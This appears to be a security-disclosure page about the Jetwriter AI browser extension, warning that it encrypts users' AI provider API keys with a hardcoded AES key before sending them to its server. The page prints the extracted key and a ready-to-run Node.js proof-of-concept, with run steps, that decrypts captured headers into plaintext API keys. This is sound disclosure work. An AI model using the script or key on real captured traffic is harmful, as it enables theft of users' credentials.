Is Jetwriter AI: Reply Emails, Ask Page, Summarize, Fix Grammar, and More safe?

High risk

Jetwriter AI is high risk. Jetwriter AI encrypts your OpenAI, Anthropic, or Gemini key with an AES-256-GCM key hardcoded in its source, attached to requests as `x-encrypted-api-key`. Since the key ships with the extension, anyone with the code can recover it.

gourav.iov2026.9.24Chrome Web Store
72Risk
Who publishes it

gourav.io - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
gourav.io

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

AI API key encrypted with hardcoded key, sent to extension server

Jetwriter AI encrypts your OpenAI, Anthropic, or Gemini key with an AES-256-GCM key hardcoded in its source, attached to requests as `x-encrypted-api-key`.

Since the key ships with the extension, anyone with the code can recover it.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You paste your OpenAI, Anthropic, or Gemini API key into Jetwriter AI's settings.

This is the standard "bring your own key" flow on the free plan, where the extension is supposed to use your own AI provider account.

The extension did this

The extension encrypts your key with an AES-256-GCM key that is hardcoded into the extension itself, then attaches the result as an HTTP header on requests to jetwriter.ai.

Because the decryption key is shipped to every user inside the extension, the encryption does not protect the key from jetwriter.ai or from anyone else who has read the extension's source.

What gets sent to jetwriter.ai when the free-plan AI flow runs
  • Your AI provider API key (encrypted)
    x-encrypted-api-key: 3K8s2VqWUlxAd9pNn4l3RhwlZ8mTSeJZ5fHzWxK4Yo3wq2nh7v8c+1tJ8b5gPaY=

    Your OpenAI, Anthropic, or Gemini API key, wrapped in an encryption that anyone with the extension can undo.

  • Provider domain
    x-domain: openai.com

    Tells the server which AI provider your key is for (OpenAI, Anthropic, Gemini).

  • Your timezone
    x-user-timezone: Europe/London

    Your IANA timezone, sent on the same request.

  • Prompt body
    {"messages":[{"role":"user","content":"Summarise this page..."}]}

    The text you are asking the AI to act on, sent in the JSON request body.

The code that does this

The hardcoded key, the encrypt routine, and the request that carries the result.

Readable version

The hardcoded AES-256 key

// 32-byte AES-256 key, hex-encoded, present in every install.const HARDCODED_AES_KEY_HEX = "19771b44d0c1c895f01713745f2a5f79adbe04b388b098ba75fb86292ea6a6eb";

Encrypt: AES-GCM, random 12-byte IV prepended, base64 wrapped

async function encryptWithHardcodedKey(plaintext, hexKey) {  const keyBytes = hexToBytes(hexKey);  const cryptoKey = await crypto.subtle.importKey(    'raw', keyBytes, { name: 'AES-GCM' }, false, ['encrypt']  );  const iv = crypto.getRandomValues(new Uint8Array(12));  const ciphertext = await crypto.subtle.encrypt(    { name: 'AES-GCM', iv }, cryptoKey, new TextEncoder().encode(plaintext)  );  // Output = base64( iv || ciphertext_with_gcm_tag )  const out = new Uint8Array(iv.length + ciphertext.byteLength);  out.set(iv, 0);  out.set(new Uint8Array(ciphertext), iv.length);  return btoa(String.fromCharCode(...out));}

Decrypt: split off IV, decrypt the rest. Same hardcoded key.

async function decryptWithHardcodedKey(b64, hexKey) {  const keyBytes = hexToBytes(hexKey);  const cryptoKey = await crypto.subtle.importKey(    'raw', keyBytes, { name: 'AES-GCM' }, false, ['decrypt']  );  const blob = Uint8Array.from(atob(b64), c => c.charCodeAt(0));  const iv = blob.slice(0, 12);  const ciphertext = blob.slice(12);  const plaintext = await crypto.subtle.decrypt(    { name: 'AES-GCM', iv }, cryptoKey, ciphertext  );  return new TextDecoder().decode(plaintext);}function hexToBytes(hex) {  const out = new Uint8Array(hex.length / 2);  for (let i = 0; i < hex.length; i += 2) out[i / 2] = parseInt(hex.substr(i, 2), 16);  return out;}

Save flow: user pastes their API key, extension wraps it with the hardcoded key, stores both

async function saveUserApiKey(provider, plainKey) {  const encryptedBlob = await encryptWithHardcodedKey(plainKey, HARDCODED_AES_KEY_HEX);  await persistEncryptedKey(provider, encryptedBlob);  settings[provider].apiKey = plainKey;  settings[provider].apiKeyEncrypted = encryptedBlob;  await broadcast({ action: 'syncSettingsInAllCS', payload: null });}

Outbound: encrypted key is attached as x-encrypted-api-key on every AI request to jetwriter.ai

async function generateStreamingResponse(reqId, topic, url, method, request, state, ctx) {  const headers = baseHeaders(ctx);  headers.set('x-domain', request.headers.domain);            // openai.com / anthropic.com / etc  if (request.headers.userProvidedEncryptedApiKey) {    headers.set('x-encrypted-api-key', request.headers.userProvidedEncryptedApiKey);  }  const tz = getUserTimezone();  if (tz) headers.set('x-user-timezone', tz);  const controller = new AbortController();  state.requestController = controller;  const resp = await fetch(url, {    signal: controller.signal,    body: JSON.stringify(request.body),    headers, method,  });  // ... streams response back to the page}
Why you can't catch this in DevTools

On the wire, the API key is base64 ciphertext that looks meaningless. Because the AES key is hardcoded into the extension, anyone with the extension's source can decrypt it back to the plaintext OpenAI/Anthropic/Gemini key.

Decoded value
sk-proj-<example-api-key> (illustrative)
Reproduce it yourself

Standalone Node.js script that mirrors the extension's own encrypt and decrypt routines using the hardcoded AES-256-GCM key extracted from content-scripts/content.js:24. Run with no arguments to do a round-trip self-test. Pass a captured `x-encrypted-api-key` header value as an argument to recover the original plaintext API key.

Requires
  • Node.js 18+ (uses built-in `crypto` module, no npm install needed)
jetwriter-decrypt-api-key.js · js
#!/usr/bin/env node// Recovers the plaintext API key from any captured x-encrypted-api-key header// produced by Jetwriter AI extension (pdnenlnelpdomajfejgapbdpmjkfpjkp v26.3.3).//// Source references://   content-scripts/content.js:24  -- const ug = "19771b44d0c1...6a6eb"//   content-scripts/content.js     -- function XR(plaintext, key)  // encrypt//   content-scripts/content.js     -- function $R(ciphertext, key) // decrypt//   background.js:983              -- attaches result as x-encrypted-api-key headerconst crypto = require('crypto');const HARDCODED_KEY_HEX =  '19771b44d0c1c895f01713745f2a5f79adbe04b388b098ba75fb86292ea6a6eb';const KEY = Buffer.from(HARDCODED_KEY_HEX, 'hex');if (KEY.length !== 32) {  throw new Error(`expected 32-byte AES-256 key, got ${KEY.length}`);}// Mirrors content.js XR(): output = base64( iv (12B) || ciphertext || gcm_tag (16B) )function encrypt(plaintext) {  const iv = crypto.randomBytes(12);  const cipher = crypto.createCipheriv('aes-256-gcm', KEY, iv);  const ct = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]);  const tag = cipher.getAuthTag(); // 16 bytes  return Buffer.concat([iv, ct, tag]).toString('base64');}// Mirrors content.js $R(): split iv (12B) | ciphertext | last 16B = GCM tag.function decrypt(b64) {  const blob = Buffer.from(b64, 'base64');  const iv = blob.subarray(0, 12);  const tag = blob.subarray(blob.length - 16);  const ct = blob.subarray(12, blob.length - 16);  const decipher = crypto.createDecipheriv('aes-256-gcm', KEY, iv);  decipher.setAuthTag(tag);  return Buffer.concat([decipher.update(ct), decipher.final()]).toString('utf8');}const arg = process.argv[2];if (arg) {  console.log('Decrypted plaintext:', decrypt(arg));  process.exit(0);}// Self-test: encrypt a fake OpenAI key with the hardcoded extension key,// then decrypt it back. Anyone with the extension can do this.const fakeApiKey = '<planted-marker>';const blob = encrypt(fakeApiKey);console.log('--- PoC: hardcoded AES-256-GCM key recovers user API keys ---');console.log('Hardcoded key (hex)  :', HARDCODED_KEY_HEX);console.log('Plaintext API key    :', fakeApiKey);console.log('Encrypted blob (b64) :', blob);console.log('Round-trip decrypt   :', decrypt(blob));console.log('Match                :', decrypt(blob) === fakeApiKey);
How to run it
  1. 1Save as `jetwriter-decrypt-api-key.js`.
  2. 2Run `node jetwriter-decrypt-api-key.js` with no args for a self-test proving the key works.
  3. 3To decrypt a captured header, run with `<base64_header_value>`; the plaintext key prints.
Where the encrypted API key is sent
    • jetwriter.ai

    Vendor's own backend. Receives the AES-encrypted key as `x-encrypted-api-key` on POSTs to generateStreamingResponse. The shipped key lets the server or any code holder recover it.

Updated 30 September 2026pdnenlnelpdomajfejgapbdpmjkfpjkp